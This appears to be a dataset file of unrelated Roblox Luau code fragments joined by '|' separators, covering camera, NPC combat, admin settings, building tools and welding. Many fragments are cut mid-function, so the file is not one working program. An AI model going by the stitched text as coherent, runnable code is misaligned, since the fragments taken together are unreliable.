PlayersService.ChildAdded:connect(function(child)
if child and PlayersService.LocalPlayer == child then
OnPlayerAdded(PlayersService.LocalPlayer)
end
end)
local function OnGameLoaded()
hasGameLoaded = true
end
spawn(function()
if game:IsLoaded() then
OnGameLoaded()
else
game.Loaded:wait()
OnGameLoaded()
end
end)
local function OnDynamicThumbstickEnabled()
if UserInputService.TouchEnabled then
isDynamicThumbstickEnabled = true
end
end
local function OnDynamicThumbstickDisabled()
isDynamicThumbstickEnabled = false
end
local function OnGameSettingsTouchMovementModeChanged()
if LocalPlayer.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then
if GameSettings.TouchMovementMode.Name == "DynamicThumbstick" then
OnDynamicThumbstickEnabled()
else
OnDynamicThumbstickDisabled()
end
end
end
local function OnDevTouchMovementModeChanged()
if LocalPlayer.DevTouchMovementMode.Name == "DynamicThumbstick" then
OnDynamicThumbstickEnabled()
else
OnGameSettingsTouchMovementModeChanged()
end
end
if PlayersService.LocalPlayer then
PlayersService.LocalPlayer.Changed:Connect(function(prop)
if prop == "DevTouchMovementMode" then
OnDevTouchMovementModeChanged()
end
end)
OnDevTouchMovementModeChanged()
end
GameSettings.Changed:Connect(function(prop)
if prop == "TouchMovementMode" then
OnGameSettingsTouchMovementModeChanged()
end
end)
OnGameSettingsTouchMovementModeChanged()
GameSettings:SetCameraYInvertVisible()
pcall(function() GameSettings:SetGamepadCameraSensitivityVisible() end)
return this
end
return CreateCamera
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return plrData.Classes.Base.Smasher.SpokeToJex.Value
end
|
--Made by Luckymaxer
|
Character = script.Parent
Humanoid = Character:FindFirstChild("Humanoid")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
BaseUrl = "http://www.roblox.com/asset/?id="
WindDirection = script:WaitForChild("WindDirection")
Force = script:WaitForChild("Force")
Functions = require(script:WaitForChild("Functions"))
Gravity = 196.20
BasePart = Instance.new("Part")
BasePart.Shape = Enum.PartType.Block
BasePart.Material = Enum.Material.Plastic
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = true
BasePart.Locked = true
BasePart.Anchored = false
DisplayParts = {}
Rate = (1 / 60)
function DestroyScript()
Debris:AddItem(script, 0.5)
end
if not Humanoid then
DestroyScript()
return
end
local FakeModel = Instance.new("Model")
FakeModel.Name = "Ghost"
Objects = Functions.Redesign(Character)
for i, v in pairs(Objects) do
v = v.Object
if v:IsA("BasePart") then
local FakePart = v:Clone()
FakePart.CanCollide = false
for ii, vv in pairs(FakePart:GetChildren()) do
if vv:IsA("JointInstance") then
vv:Destroy()
end
end
for ii, vv in pairs(Objects) do
vv = vv.Object
if vv:IsA("CharacterMesh") and string.gsub(v.Name, " ", "") == vv.BodyPart.Name then
local Mesh = Instance.new("SpecialMesh")
Mesh.MeshType = Enum.MeshType.FileMesh
Mesh.MeshId = (BaseUrl .. vv.MeshId)
Mesh.TextureId = (BaseUrl .. vv.BaseTextureId)
Mesh.Scale = Vector3.new(1, 1, 1)
Mesh.Offset = Vector3.new(0, 0, 0)
Mesh.VertexColor = Vector3.new(1, 1, 1)
Mesh.Parent = FakePart
end
end
FakePart.Parent = FakeModel
v:Destroy()
end
end
Objects = Functions.Redesign(FakeModel)
for i, v in pairs(Objects) do
v = v.Object
if v:IsA("BasePart") then
local Mass = (v:GetMass() * Gravity ^ 2)
local BodyVelocity = Instance.new("BodyVelocity")
BodyVelocity.maxForce = Vector3.new(Mass, Mass, Mass)
BodyVelocity.velocity = (WindDirection.Value * Force.Value)
BodyVelocity.Parent = v
if v.Name == "Torso" then
end
v.Name = "Effect"
if v.Transparency < 1 then
table.insert(DisplayParts, v)
end
elseif v:IsA("Decal") or v:IsA("Texture") then
if v.Transparency < 1 then
table.insert(DisplayParts, v)
end
end
end
Delay(0.1, (function()
local FadeRate = 30
for i = 1, ((1 - Functions.DarkProperties.All.Transparency) * (1 * FadeRate)) do
for ii, vv in pairs(DisplayParts) do
if vv and vv.Parent then
vv.Transparency = (vv.Transparency + (1 / FadeRate))
end
end
wait(Rate)
end
if FakeModel and FakeModel.Parent then
FakeModel:Destroy()
end
end))
BoundaryBox = BasePart:Clone()
BoundaryBox.Name = "Effect"
BoundaryBox.Transparency = 1
BoundaryBox.CanCollide = false
BoundaryBox.Size = FakeModel:GetModelSize()
BoundaryBox.CFrame = FakeModel:GetModelCFrame()
BoundaryBox.Parent = FakeModel
Functions.Weld(FakeModel, BoundaryBox)
Debris:AddItem(FakeModel, 10)
FakeModel.Parent = game:GetService("Workspace")
|
--[[
# Explorer Panel
A GUI panel that displays the game hierarchy.
## Selection Bindables
- `Function GetSelection ( )`
Returns an array of objects representing the objects currently
selected in the panel.
- `Function SetSelection ( Objects selection )`
Sets the objects that are selected in the panel. `selection` is an array
of objects.
- `Event SelectionChanged ( )`
Fired after the selection changes.
## Option Bindables
- `Function GetOption ( string optionName )`
If `optionName` is given, returns the value of that option. Otherwise,
returns a table of options and their current values.
- `Function SetOption ( string optionName, bool value )`
Sets `optionName` to `value`.
Options:
- Modifiable
Whether objects can be modified by the panel.
Note that modifying objects depends on being able to select them. If
Selectable is false, then Actions will not be available. Reparenting
is still possible, but only for the dragged object.
- Selectable
Whether objects can be selected.
If Modifiable is false, then left-clicking will perform a drag
selection.
## Updates
- 2013-09-18
- Fixed explorer icons to match studio explorer.
- 2013-09-14
- Added GetOption and SetOption bindables.
- Option: Modifiable; sets whether objects can be modified by the panel.
- Option: Selectable; sets whether objects can be selected.
- Slight modification to left-click selection behavior.
- Improved layout and scaling.
- 2013-09-13
- Added drag to reparent objects.
- Left-click to select/deselect object.
- Left-click and drag unselected object to reparent single object.
- Left-click and drag selected object to move reparent entire selection.
- Right-click while dragging to cancel.
- 2013-09-11
- Added explorer panel header with actions.
- Added Cut action.
- Added Copy action.
- Added Paste action.
- Added Delete action.
- Added drag selection.
- Left-click: Add to selection on drag.
- Right-click: Add to or remove from selection on drag.
- Ensured SelectionChanged fires only when the selection actually changes.
- Added documentation and change log.
- Fixed thread issue.
- 2013-09-09
- Added basic multi-selection.
- Left-click to set selection.
- Right-click to add to or remove from selection.
- Removed "Selection" ObjectValue.
- Added GetSelection BindableFunction.
- Added SetSelection BindableFunction.
- Added SelectionChanged BindableEvent.
- Changed font to SourceSans.
- 2013-08-31
- Improved GUI sizing based off of `GUI_SIZE` constant.
- Automatic font size detection.
- 2013-08-27
- Initial explorer panel.
## Todo
- Sorting
- by ExplorerOrder
- by children
- by name
- Drag objects to reparent
]]
|
local ENTRY_SIZE = GUI_SIZE + ENTRY_PADDING*2
local ENTRY_BOUND = ENTRY_SIZE + ENTRY_MARGIN
local HEADER_SIZE = ENTRY_SIZE*2
local FONT = 'SourceSans'
local FONT_SIZE do
local size = {8,9,10,11,12,14,18,24,36,48}
local s
local n = math.huge
for i = 1,#size do
if size[i] <= GUI_SIZE then
FONT_SIZE = i - 1
end
end
end
local GuiColor = {
Background = Color3_fromRGB(37, 37, 42),
Border = Color3_fromRGB(20, 20, 25),
Selected = Color3_fromRGB(5, 100, 145),
BorderSelected = Color3_fromRGB(2, 125, 145),
Text = Color3_fromRGB(245, 245, 250),
TextDisabled = Color3_fromRGB(190, 190, 195),
TextSelected = Color3_fromRGB(255, 255, 255),
Button = Color3_fromRGB(31, 31, 35),
ButtonBorder = Color3_fromRGB(135, 135, 140),
ButtonSelected = Color3_fromRGB(0, 170, 155),
Field = Color3_fromRGB(37, 37, 42),
FieldBorder = Color3_fromRGB(50, 50, 55),
TitleBackground = Color3_fromRGB(10, 10, 15)
}
|
--[[
Implementation
]]
|
local function isAlive()
return maid.humanoid.Health > 0 and maid.humanoid:GetState() ~= Enum.HumanoidStateType.Dead
end
local function destroy()
maid:destroy()
end
local function patrol()
while isAlive() do
if not attacking then
local position = getRandomPointInCircle(startPosition, PATROL_RADIUS)
maid.humanoid.WalkSpeed = PATROL_WALKSPEED
maid.humanoid:MoveTo(position)
end
wait(random:NextInteger(MIN_REPOSITION_TIME, MAX_REPOSITION_TIME))
end
end
local function isInstaceAttackable(targetInstance)
local targetHumanoid = targetInstance and targetInstance.Parent and targetInstance.Parent:FindFirstChild("Humanoid")
if not targetHumanoid then
return false
end
-- Determine if they are attackable, depening on the attack mode
local isEnemy = false
if ATTACK_MODE == 1 then
-- Attack characters with the SoldierEnemy tag
if
CollectionService:HasTag(targetInstance.Parent, "SoldierEnemy") and
not CollectionService:HasTag(targetInstance.Parent, "SoldierFriend") then
isEnemy = true
end
elseif ATTACK_MODE == 2 then
-- Attack all humanoids without the SoldierFriend tag
if not CollectionService:HasTag(targetInstance.Parent, "SoldierFriend") then
isEnemy = true
end
elseif ATTACK_MODE == 3 then
-- Attack all humanoids
isEnemy = true
end
local isAttackable = false
local distance = (maid.humanoidRootPart.Position - targetInstance.Position).Magnitude
if distance <= ATTACK_RADIUS then
local ray = Ray.new(
maid.humanoidRootPart.Position,
(targetInstance.Parent.HumanoidRootPart.Position - maid.humanoidRootPart.Position).Unit * distance
)
local part = Workspace:FindPartOnRayWithIgnoreList(ray, {
targetInstance.Parent, maid.instance,
}, false, true)
if
isEnemy and
targetInstance ~= maid.instance and
targetInstance:IsDescendantOf(Workspace) and
targetHumanoid.Health > 0 and
targetHumanoid:GetState() ~= Enum.HumanoidStateType.Dead and
not part
then
isAttackable = true
end
end
return isAttackable
end
local function fireGun()
-- Do damage to the target
local targetHunanoid = target.Parent:FindFirstChild("Humanoid")
targetHunanoid:TakeDamage(ATTACK_DAMAGE)
-- Play the pistol firing animation
maid.attackAnimation:Play()
-- Play the pistol firing sound effect
maid.gunFireSound:Play()
-- Muzzle flash
local firingPositionAttachment = maid.instance.Pistol.Handle.FiringPositionAttachment
firingPositionAttachment.FireEffect:Emit(10)
firingPositionAttachment.PointLight.Enabled = true
wait(0.1)
firingPositionAttachment.PointLight.Enabled = false
end
local function findTargets()
-- Do a new search region if we are not already searching through an existing search region
if not searchingForTargets and tick() - timeSearchEnded >= SEARCH_DELAY then
searchingForTargets = true
-- Create a new region
local centerPosition = maid.humanoidRootPart.Position
local topCornerPosition = centerPosition + Vector3.new(ATTACK_RADIUS, ATTACK_RADIUS, ATTACK_RADIUS)
local bottomCornerPosition = centerPosition + Vector3.new(-ATTACK_RADIUS, -ATTACK_RADIUS, -ATTACK_RADIUS)
searchRegion = Region3.new(bottomCornerPosition, topCornerPosition)
searchParts = Workspace:FindPartsInRegion3(searchRegion, maid.instance, math.huge)
newTarget = nil
newTargetDistance = nil
-- Reset to defaults
searchIndex = 1
end
if searchingForTargets then
-- Search through our list of parts and find attackable humanoids
local checkedParts = 0
while searchingForTargets and searchIndex <= #searchParts and checkedParts < MAX_PARTS_PER_HEARTBEAT do
local currentPart = searchParts[searchIndex]
if currentPart and isInstaceAttackable(currentPart) then
local character = currentPart.Parent
local distance = (character.HumanoidRootPart.Position - maid.humanoidRootPart.Position).magnitude
-- Determine if the charater is the closest
if not newTargetDistance or distance < newTargetDistance then
newTarget = character.HumanoidRootPart
newTargetDistance = distance
end
end
searchIndex = searchIndex + 1
checkedParts = checkedParts + 1
end
if searchIndex >= #searchParts then
target = newTarget
searchingForTargets = false
timeSearchEnded = tick()
end
end
end
local function attack()
attacking = true
local originalWalkSpeed = maid.humanoid.WalkSpeed
maid.humanoid.WalkSpeed = 16
maid.attackIdleAnimation:Play()
local shotsFired = 0
while attacking and isInstaceAttackable(target) and isAlive() do
fireGun()
shotsFired = (shotsFired + 1) % CLIP_CAPACITY
if shotsFired == CLIP_CAPACITY - 1 then
maid.reloadAnimation:Play()
wait(RELOAD_DELAY)
else
wait(ATTACK_DELAY)
end
end
maid.humanoid.WalkSpeed = originalWalkSpeed
maid.attackIdleAnimation:Stop()
attacking = false
end
|
-- The comments below explain what the code does, so that you can have a better understanding about exactly how it works.
|
plrs = game:GetService("Players") -- Get Players; this service allows us to know when a player joins the game and other player-related things
ps = game:GetService("PhysicsService") -- Get PhysicsService; this service allows us to manage collision groups
ps:RegisterCollisionGroup("plrs") -- Create collision group for players only
ps:CollisionGroupSetCollidable("plrs","plrs",false) -- Make the group not collide with other parts in that same group (This is why we create a new, seperate collision group for players; if we did this with the normal collision group, the players would fall through the world!)
plrs.PlayerAdded:Connect(function(plr) -- When a player joins,
plr.CharacterAdded:Connect(function(chr) -- wait for their character to load. Once it does,
for key,value in pairs(chr:GetDescendants()) do -- loop through the character's descendants/parts.
if value:IsA("BasePart") then -- If a descendant is found to be eligable for collision groups (If this part of the character is a body part),
value.CollisionGroup = "plrs" -- set its collision group to the players only group
end
end
end)
end)
|
--// Load Order List
|
local CORE_LOADING_ORDER = table.freeze({
--// Required by most modules
"Variables",
"Functions",
--// Core functionality
"Core",
"Remote",
"UI",
"Process",
--// Misc
"Anti",
})
|
--[[INSTRUCCIONES
* Tiempo entre que toca SENSOR y PARADA: 20 segundos
]]
|
function onTouched(hit)
campana.Playing = true
ondear.Value = 0.1
chimenea1.Enabled = false
chimenea2.Enabled = false
ruedaderecha1.AngularVelocity = -2
ruedaderecha2.AngularVelocity = -2
wait(10)
ondear.Value = 0.2
campana.TimePosition = 0
ruedaderecha1.AngularVelocity = -1
ruedaderecha2.AngularVelocity = -1
wait(10)
ruedaderecha1.AngularVelocity = 0
ruedaderecha2.AngularVelocity = 0
ondear.Value = 50
campana.Playing = false
wait(parada) --PARADA
ondear.Value = 0.2
humoi.Enabled = true
humod.Enabled = true
chimenea1.Enabled = true
chimenea2.Enabled = true
ruedaderecha1.AngularVelocity = -0.5
ruedaderecha2.AngularVelocity = -0.5
wait(1)
ondear.Value = 0.1
ruedaderecha1.AngularVelocity = -1
ruedaderecha2.AngularVelocity = -1
humoi.Enabled = false
humod.Enabled = false
wait(1)
ondear.Value = 0.05
ruedaderecha1.AngularVelocity = -2
ruedaderecha2.AngularVelocity = -2
humoi.Enabled = true
humod.Enabled = true
wait(1)
ruedaderecha1.AngularVelocity = -3
ruedaderecha2.AngularVelocity = -3
humoi.Enabled = false
humod.Enabled = false
end
script.Parent.Touched:connect(onTouched)
|
-- / Configurations / --
|
local Configurations = GameAssets.Configurations
local GameConfiguration = Configurations.GameConfiguration
|
-- Fire with blacklist
|
function FastCast:FireWithBlacklist(origin, directionWithMagnitude, velocity, blacklist, cosmeticBulletObject, ignoreWater, bulletAcceleration, bulletData, whizData, hitData, penetrationData)
assert(getmetatable(self) == FastCast, ERR_NOT_INSTANCE:format("FireWithBlacklist", "FastCast.new()"))
BaseFireMethod(self, origin, directionWithMagnitude, velocity, cosmeticBulletObject, nil, ignoreWater, bulletAcceleration, bulletData, whizData, hitData, blacklist, false, penetrationData)
end
TargetEvent:Connect(function(dt)
for i, v in next, Projectiles, nil do
if RemoveList[i] then
RemoveList[i] = nil
Projectiles[i] = nil
else
i.Update(dt)
end
end
end)
|
-- SERVICES --
|
local CS = game:GetService("CollectionService")
local RS = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
|
---
|
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("Beige",Paint)
end)
|
--local BG = Missile.BodyGyro
-------------------------------------------
|
while true do
if Target.Value then
if Target.Value.Parent then
Missile.CFrame = CFrame.new(Missile.Position,Target.Value.Torso.Position)
BV.velocity = Missile.CFrame.lookVector * 1500
else
break
end
else
break
end
wait()
end
|
--// All global vars will be wiped/replaced except script
--// All guis are autonamed client.Variables.CodeName..gui.Name
|
return function(data, env)
if env then
setfenv(1, env)
end
local gui = script.Parent.Parent
local playergui = service.PlayerGui
local str = data.Message
local time = data.Time or 15
--client.UI.Make("HintHolder")
local container = client.UI.Get("HintHolder",nil,true)
if not container then
local holder = service.New("ScreenGui")
local hTable = client.UI.Register(holder)
local frame = service.New("ScrollingFrame", holder)
client.UI.Prepare(holder)
hTable.Name = "HintHolder"
frame.Name = "Frame"
frame.BackgroundTransparency = 1
frame.Size = UDim2.new(1, 0, 0,150)
frame.CanvasSize = UDim2.new(0, 0, 0, 0)
frame.ChildAdded:Connect(function(c)
if #frame:GetChildren() == 0 then
frame.Visible = false
else
frame.Visible = true
end
end)
frame.ChildRemoved:Connect(function(c)
if #frame:GetChildren() == 0 then
frame.Visible = false
else
frame.Visible = true
end
end)
container = hTable
hTable:Ready()
end
container = container.Object.Frame
--// First things first account for notif :)
local notif = client.UI.Get("Notif")
local topbar = client.UI.Get("TopBar")
container.Position = UDim2.new(0,0,0,((notif and 30) or 0) + ((topbar and 40) or 0) - 35)
local children = container:children()
gui.Position = UDim2.new(0,0,0,-100)
gui.Frame.msg.Text = str
local bounds = gui.Frame.msg.TextBounds.X
spawn(function()
local sound = Instance.new("Sound",service.LocalContainer())
sound.SoundId = "rbxassetid://255881176"
sound.Volume = 0.25
wait(0.1)
sound:Play()
wait(0.8)
sound:Destroy()
end)
local function moveGuis(m,ignore)
m = m or 0
local max = #container:children()
for i,v in pairs(container:children()) do
if v~=ignore then
local y = (i+m)*28
v.Position = UDim2.new(0,0,0,y)
if i~=max then v.Size = UDim2.new(1,0,0,28) end
end
end
end
local lom = -1
moveGuis(-1)
gui.Parent = container
if #container:children()>5 then lom = -2 end
UDim2.new(0,0,0,(#container:children()+lom)*28)
moveGuis(-1)
--gui:TweenPosition(UDim2.new(0,0,0,(#container:children()+lom)*28),nil,nil,0.3,true,function() if gui and gui.Parent then moveGuis(-1) end end)
if #container:children()>5 then
local gui = container:children()[1]
moveGuis(-2,gui)
gui:Destroy()
--gui:TweenPosition(UDim2.new(0,0,0,-100),nil,nil,0.2,true,function() if gui and gui.Parent then gui:Destroy() end end)
end
wait(data.Time or 5)
if gui and gui.Parent then
moveGuis(-2,gui)
gui:Destroy()
--gui:TweenPosition(UDim2.new(0,0,0,-100),nil,nil,0.2,true,function() if gui and gui.Parent then gui:Destroy() end end)
end
end
|
--// Functions
|
function UpdateTag(plr)
if plr ~= L_1_ and plr.Character and plr.Character:FindFirstChild("TeamTagUI") then
local Tag = plr.Character:FindFirstChild("TeamTagUI")
if plr.Team == L_1_.Team then
Tag.Enabled = true
if plr.Character:FindFirstChild("ACS_Client") and plr.Character.ACS_Client:FindFirstChild("FireTeam") and plr.Character.ACS_Client.FireTeam.SquadName.Value ~= "" then
Tag.Frame.Icon.ImageColor3 = plr.Character.ACS_Client.FireTeam.SquadColor.Value
else
Tag.Frame.Icon.ImageColor3 = Color3.fromRGB(255,255,255)
end
else
Tag.Enabled = false
end
end
end
|
--// Use the below table to define "pre-set" command aliases
--// Command aliases; Format: {[":alias <arg1> <arg2> ..."] = ":command <arg1> <arg2> ..."}
|
settings.Aliases = {
[":examplealias <player> <fireColor>"] = ":ff <player> | :fling <player> | :fire <player> <fireColor>" --// Order arguments appear in alias string determines their required order in the command message when ran later
};
settings.Banned = {} -- List of people banned from the game Format: {"Username"; "Username:UserId"; UserId; "Group:GroupId:GroupRank"; "Group:GroupId"; "Item:ItemID"; "GamePass:GamePassID";}
settings.Muted = {} -- List of people muted (cannot send chat messages) Format: {"Username"; "Username:UserId"; UserId; "Group:GroupId:GroupRank"; "Group:GroupId"; "Item:ItemID"; "GamePass:GamePassID";}
settings.Blacklist = {} -- List of people banned from running commands Format: {"Username"; "Username:UserId"; UserId; "Group:GroupId:GroupRank"; "Group:GroupId"; "Item:ItemID"; "GamePass:GamePassID";}
settings.Whitelist = {} -- People who can join if whitelist enabled Format: {"Username"; "Username:UserId"; UserId; "Group:GroupId:GroupRank"; "Group:GroupId"; "Item:ItemID"; "GamePass:GamePassID";}
settings.MusicList = {} -- List of songs to appear in the :musiclist Format: {{Name = "somesong", ID = 1234567}, {Name = "anotherone", ID = 1243562}}
settings.CapeList = {} -- List of capes Format: {{Name = "somecape", Material = "Fabric", Color = "Bright yellow", ID = 12345567, Reflectance = 1}; {etc more stuff here}}
settings.InsertList = {} -- List of models to appear in the :insertlist and can be inserted using ':insert <name>' Format: {{Name = "somemodel", ID = 1234567}; {Name = "anotherone", ID = 1243562}}
settings.OnStartup = {} -- List of commands ran at server start Format: {":notif TestNotif"}
settings.OnJoin = {} -- List of commands ran as player on join (ignores adminlevel) Format: {":cmds"}
settings.OnSpawn = {} -- List off commands ran as player on spawn (ignores adminlevel) Format: {"!fire Really red",":ff me"}
settings.SaveAdmins = true -- If true anyone you :admin or :headadmin in-game will save
settings.LoadAdminsFromDS = true -- If false, any admins saved in your DataStores will not load
settings.WhitelistEnabled = false -- If true enables the whitelist/server lock; Only lets admins & whitelisted users join
settings.Prefix = ";" -- The : in :kill me
settings.PlayerPrefix = "!" -- The ! in !donate; Mainly used for commands that any player can run; Do not make it the same as settings.Prefix
settings.SpecialPrefix = "" -- Used for things like "all", "me" and "others" (If changed to ! you would do :kill !me)
settings.SplitKey = " " -- The space in :kill me (eg if you change it to / :kill me would be :kill/me)
settings.BatchKey = "|" -- :kill me | :ff bob | :explode scel
settings.ConsoleKeyCode = "Quote" -- Keybind to open the console; Rebindable per player in userpanel; KeyCodes: https://developer.roblox.com/en-us/api-reference/enum/KeyCode
|
-- Container for temporary connections (disconnected automatically)
|
local Connections = {};
function CollisionTool.Equip()
-- Enables the tool's equipped functionality
-- Start up our interface
ShowUI();
BindShortcutKeys();
end;
function CollisionTool.Unequip()
-- Disables the tool's equipped functionality
-- Clear unnecessary resources
HideUI();
ClearConnections();
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:disconnect();
Connections[ConnectionKey] = nil;
end;
end;
function ShowUI()
-- Creates and reveals the UI
-- Reveal UI if already created
if UI then
-- Reveal the UI
UI.Visible = true;
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
-- Skip UI creation
return;
end;
-- Create the UI
UI = Core.Tool.Interfaces.BTCollisionToolGUI:Clone();
UI.Parent = Core.UI;
UI.Visible = true;
-- References to UI elements
local OnButton = UI.Status.On.Button;
local OffButton = UI.Status.Off.Button;
-- Enable the collision status switch
OnButton.MouseButton1Click:connect(function ()
SetProperty('CanCollide', true);
end);
OffButton.MouseButton1Click:connect(function ()
SetProperty('CanCollide', false);
end);
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
end;
function UpdateUI()
-- Updates information on the UI
-- Make sure the UI's on
if not UI then
return;
end;
-- Check the common collision status of selection
local Collision = Support.IdentifyCommonProperty(Selection.Items, 'CanCollide');
-- Update the collision option switch
if Collision == true then
Core.ToggleSwitch('On', UI.Status);
-- If the selection has collision disabled
elseif Collision == false then
Core.ToggleSwitch('Off', UI.Status);
-- If the collision status varies, don't select a current switch
elseif Collision == nil then
Core.ToggleSwitch(nil, UI.Status);
end;
end;
function HideUI()
-- Hides the tool UI
-- Make sure there's a UI
if not UI then
return;
end;
-- Hide the UI
UI.Visible = false;
-- Stop updating the UI
UIUpdater:Stop();
end;
function SetProperty(Property, Value)
-- Make sure the given value is valid
if Value == nil then
return;
end;
-- Start a history record
TrackChange();
-- Go through each part
for _, Part in pairs(Selection.Items) do
-- Store the state of the part before modification
table.insert(HistoryRecord.Before, { Part = Part, [Property] = Part[Property] });
-- Create the change request for this part
table.insert(HistoryRecord.After, { Part = Part, [Property] = Value });
end;
-- Register the changes
RegisterChange();
end;
function BindShortcutKeys()
-- Enables useful shortcut keys for this tool
-- Track user input while this tool is equipped
table.insert(Connections, UserInputService.InputBegan:connect(function (InputInfo, GameProcessedEvent)
-- Make sure this is an intentional event
if GameProcessedEvent then
return;
end;
-- Make sure this input is a key press
if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then
return;
end;
-- Make sure it wasn't pressed while typing
if UserInputService:GetFocusedTextBox() then
return;
end;
-- Check if the enter key was pressed
if InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then
-- Toggle the selection's collision status
ToggleCollision();
end;
end));
end;
function ToggleCollision()
-- Toggles the collision status of the selection
-- Change the collision status to the opposite of the common collision status
SetProperty('CanCollide', not Support.IdentifyCommonProperty(Selection.Items, 'CanCollide'));
end;
function TrackChange()
-- Start the record
HistoryRecord = {
Before = {};
After = {};
Unapply = function (Record)
-- Reverts this change
-- Select the changed parts
Selection.Replace(Support.GetListMembers(Record.Before, 'Part'));
-- Send the change request
Core.SyncAPI:Invoke('SyncCollision', Record.Before);
end;
Apply = function (Record)
-- Applies this change
-- Select the changed parts
Selection.Replace(Support.GetListMembers(Record.After, 'Part'));
-- Send the change request
Core.SyncAPI:Invoke('SyncCollision', Record.After);
end;
};
end;
function RegisterChange()
-- Finishes creating the history record and registers it
-- Make sure there's an in-progress history record
if not HistoryRecord then
return;
end;
-- Send the change to the server
Core.SyncAPI:Invoke('SyncCollision', HistoryRecord.After);
-- Register the record and clear the staging
Core.History.Add(HistoryRecord);
HistoryRecord = nil;
end;
|
-- MEMBER and LEADER AFFECTORS
|
function TribeModule:ChangeMemberRole(playerName)
end
function TribeModule:TransferTribe(tribeName,playerName)
end
function TribeModule:AddMember(playerName)
end
function TribeModule:RemoveMember(tribeName,playerName)
end
function TribeModule:AddLeader(playerName)
end
function TribeModule:RemoveLeader(tribeName,playerName)
end
function TribeModule:RemoveLeader()
end
|
--Quenty's qPerfectionWeld script remade into a module.
|
local NEVER_BREAK_JOINTS = false;
local function CallOnChildren(Instance, FunctionToCall)
FunctionToCall(Instance)
for _, Child in next, Instance:GetChildren() do
CallOnChildren(Child, FunctionToCall)
end end
local function GetNearestParent(Instance, ClassName)
local Ancestor = Instance
repeat Ancestor = Ancestor.Parent
if Ancestor == nil then return nil end
until Ancestor:IsA(ClassName)
return Ancestor
end
local function GetBricks(StartInstance)
local List = {}
CallOnChildren(StartInstance, function(Item)
if Item:IsA('BasePart') then
List[#List+1] = Item;
end end)
return List end
local function Modify(Instance, Values)
assert(type(Values) == 'table', 'Values is not a table');
for Index, Value in next, Values do
if type(Index) == 'number' then
Value.Parent = Instance
else
Instance[Index] = Value
end end
return Instance end
local function Make(ClassType, Properties) return Modify(Instance.new(ClassType), Properties) end
local Surfaces = {'TopSurface','BottomSurface','LeftSurface','RightSurface','FrontSurface','BackSurface'};
local HingSurfaces = {'Hinge','Motor','SteppingMotor'};
local function HasWheelJoint(Part)
for _, SurfaceName in pairs(Surfaces) do
for _, HingSurfaceName in pairs(HingSurfaces) do
if Part[SurfaceName].Name == HingSurfaceName then
return true
end end end
return false end
local function ShouldBreakJoints(Part)
if NEVER_BREAK_JOINTS then return false end
if HasWheelJoint(Part) then return false end
local Connected = Part:GetConnectedParts()
if #Connected == 1 then return false end
for _, Item in pairs(Connected) do
if HasWheelJoint(Item) then return false
elseif not Item:IsDescendantOf(script.Parent) then return false
end end
return true end
local function WeldTogether(Part0, Part1, JointType, WeldParent)
JointType = JointType or 'Weld'
local RelativeValue = Part1:FindFirstChild('qRelativeCFrameWeldValue')
local NewWeld = Part1:FindFirstChild('qCFrameWeldThingy') or Instance.new(JointType)
Modify(NewWeld, {
Name = 'qCFrameWeldThingy';
Part0 = Part0;
Part1 = Part1;
C0 = CFrame.new();
C1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse();
Parent = Part1;
})
if not RelativeValue then
RelativeValue = Make('CFrameValue', {
Parent = Part1;
Name = 'qRelativeCFrameWeldValue';
Archivable = true;
Value = NewWeld.C1;
})
end
return NewWeld
end
local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor)
for _, Part in pairs(Parts) do
if ShouldBreakJoints(Part) then
Part:BreakJoints()
end end
for _, Part in pairs(Parts) do
if Part ~= MainPart then
WeldTogether(MainPart, Part, JointType, MainPart)
end end
if not DoNotUnanchor then
for _, Part in pairs(Parts) do
Part.Anchored = false
end
MainPart.Anchored = false;
end
end
local _M = {}
function _M.PerfectionWeld(Model)
local Tool = GetNearestParent(script, 'Tool')
local Parts = GetBricks(Model)
local PrimaryPart = Tool and Tool:FindFirstChild('Handle') and Tool.Handle:IsA('BasePart') and Tool.Handle or Model:IsA('Model') and Model.PrimaryPart or Parts[1]
if PrimaryPart then
WeldParts(Parts, PrimaryPart, 'Weld', false)
end
return Tool
end
return _M
|
--[=[
Returns whether the service bag has fully started or not.
@return boolean
]=]
|
function ServiceBag:IsStarted()
return self._serviceTypesToStart == nil
end
|
--[=[
Observes the translated value
@param key string
@param argData table? -- May have observables (or convertable to observables) in it.
@return Observable<string>
]=]
|
function JSONTranslator:ObserveFormatByKey(key, argData)
assert(self ~= JSONTranslator, "Construct a new version of this class to use it")
assert(type(key) == "string", "Key must be a string")
local argObservable
if argData then
local args = {}
for argKey, value in pairs(argData) do
args[argKey] = Blend.toPropertyObservable(value) or Rx.of(value)
end
argObservable = Rx.combineLatest(args)
else
argObservable = nil
end
return Observable.new(function(sub)
local maid = Maid.new()
maid:GivePromise(self._promiseTranslator:Then(function()
if argObservable then
maid:GiveTask(argObservable:Subscribe(function(args)
sub:Fire(self:FormatByKey(key, args))
end))
else
sub:Fire(self:FormatByKey(key, nil))
end
end))
return maid
end)
end
|
-- Only works on ordinal. yada yada.
|
Table.insertAndGetIndexOf = function (tbl, value)
tbl[#tbl + 1] = value
return #tbl
end
|
---- \/Cruise\/
|
model = script.Parent
wait(0.5)
currentP = "Off"
script.Parent.Events.Cruise.OnServerEvent:Connect( function(player, pattern)
if script.Parent.Values.Cruise.Value == true then
